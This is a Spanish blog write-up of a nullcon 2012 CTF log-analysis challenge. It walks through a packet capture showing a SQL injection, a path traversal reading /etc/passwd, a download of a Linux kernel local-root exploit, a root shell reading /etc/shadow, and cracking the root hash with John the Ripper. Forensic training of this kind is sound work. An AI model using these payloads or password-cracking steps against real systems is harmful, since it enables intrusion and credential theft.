CTF #nullcon 2012: Análisis de logs 5
En el quinto y último nivel de esta categoría de análisis de logs, nos encontramos con un fichero (http://www.nullcon.net//challenge/data/dump.rar) PcapNg (una vez descomprimido). Uno de los problemas con los que me encontré era que el fichero es un poco grande y después de filtrar varias veces, Wireshark se comía la máquina y tenía que cerrar dicha aplicación y volverla a abrir ¿fuga de memoria en Wireshark? Supongo que la próxima vez debería de aprender a usar los filtros con tshark :)
En este nivel se nos piden 4 flags:
- Flag-I: Vulnerable Parameter in 1st Attack
- Flag-II: Vulnerable Parameter in 2nd Attack
- Flag-III: Names of the people who discovered the Local Privilege Escalation Exploit used
- Flag-IV: root Password
Para mi la pregunta más obvia para empezar era la última, ya que podría correr un búsqueda de la palabra root para llegar a dicha respuesta. Y la suerte que tuve fue que haciendo esa búsqueda también me llevó al resto de los respuestas que buscaba.
El primer flujo TCP que encontramos con inyección de código y por lo tanto contesta a nuestra primera pregunta es:
GET /index.html?page=blog&title=Blog&id=2+AND+1=2+UNION+ALL+SELECT+1,unhex(hex(user())),3,4,5--+- HTTP/1.1 Host: 192.168.221.143 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:7.0.1) Gecko/20100101 Firefox/7.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Connection: keep-alive .... ....
Por lo tanto nuestro primer flag: id
El segundo ataque encontrado fue:
GET /index.html?page=../../../../../../../../../etc/passwd%00 HTTP/1.1 Host: 192.168.221.143 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:7.0.1) Gecko/20100101 Firefox/7.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Connection: keep-alive .... ....
Nuestro flag en este caso: page
Siguiendo nuestra búsqueda de todo lo que contenga root, vemos claramente código C, en cuyos comentarios vemos que es un exploit de escalada de privilegios, dónde además nos dan los nombres de los descubridores, el cual es la respuesta a nuestro tercer flag: Tavis Ormandy Julien Tinnes
Aquí un extracto del texto de la captura
GET /exploit/9479.c HTTP/1.0 User-Agent: Wget/1.10.2 (Red Hat modified) Accept: */* Host: 192.168.221.130 Connection: Keep-AliveHTTP/1.1 200 OK Date: Thu, 12 Jan 2012 06:18:26 GMT Server: Apache/2.2.14 (Ubuntu) Last-Modified: Wed, 11 Jan 2012 12:36:23 GMT ETag: “41d4c-d33-4b63fe12b3b1c” Accept-Ranges: bytes Content-Length: 3379 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/x-csrc
/* ** ** 0x82-CVE-2009-2692 ** Linux kernel 2.4/2.6 (32bit) sock_sendpage() local ring0 root exploit (simple ver) ** Tested RedHat Linux 9.0, Fedora core 4~11, Whitebox 4, CentOS 4.x. ** ** – ** Discovered by Tavis Ormandy and Julien Tinnes of the Google Security Team. ** spender and venglin’s code is very excellent. ** Thankful to them. ** ** Greets: Brad Spengler <spender(at)grsecurity(dot)net>, ** Przemyslaw Frasunek <venglin(at)czuby(dot)pl>. ** – ** exploit by <p0c73n1(at)gmail(dot)com>. ** ** “Slow and dirty exploit for this one” ** / …. ….
Por último se nos pide el password de root y siguiendo con nuestra búsqueda llegamos al listado del fichero shadow:
sh-3.1# cat /etc/shadow root:$1$IW2CPQzs$ba/aJ9zePc/r9tF2R6KAJ0:15350:0:99999:7::: bin::14309:0:99999:7::: daemon::14309:0:99999:7::: adm::14309:0:99999:7::: …. ….
Aquí de lo que disponemos es del hash, pero no del password en claro, así que llamemos a Juanito.
Lo que hice fue copiar sólo la línea del root a un fichero de texto y:
tuxotron@tuxotron-laptop:~/opt/john-1.7.9-jumbo-5/run$ ./john ppass Loaded 1 password hash (FreeBSD MD5 [32/64 X2]) guesses: 0 time: 0:21:00:27 0.00% (3) c/s: 10906 trying: fuisbAT - fuisbAX Session aborted
Después de 21 horas corriendo no había encontrado nada, así que decidí usar un diccionario de passwords, concretamente el primero de esta lista.
tuxotron@tuxotron-laptop:~/opt/john-1.7.9-jumbo-5/run$ ./john –wordlist=/home/tuxotron/Downloads/Collection\ of\ Wordlist\ v.2-clean.lst ppass Loaded 1 password hash (FreeBSD MD5 [32/64 X2]) zuzana (root) guesses: 1 time: 0:00:05:52 DONE (Sat Jan 28 18:33:46 2012) c/s: 11086 trying: zum - zuzana Use the “–show” option to display all of the cracked passwords reliably
Y en cinco minutos conseguía el cuarto y último flag: zuzana
Buscar
Entradas Recientes
- Posts
- Reemplazando la bateria del AirTag
- OpenExpo Europe décima edición, 18 de mayo: El Epicentro de la Innovación y la Transformación Digital
- Docker Init
- Kubernetes para profesionales
- Agenda: OpenExpo Europe 2022 llega el 30 de junio en formato presencial
- Libro 'Manual de la Resilencia', de Alejandro Corletti, toda una referencia para la gestión de la seguridad en nuestros sistemas
- Mujeres hackers en ElevenPaths Radio
- Creando certificados X.509 caducados
- Generador de imágenes Docker para infosec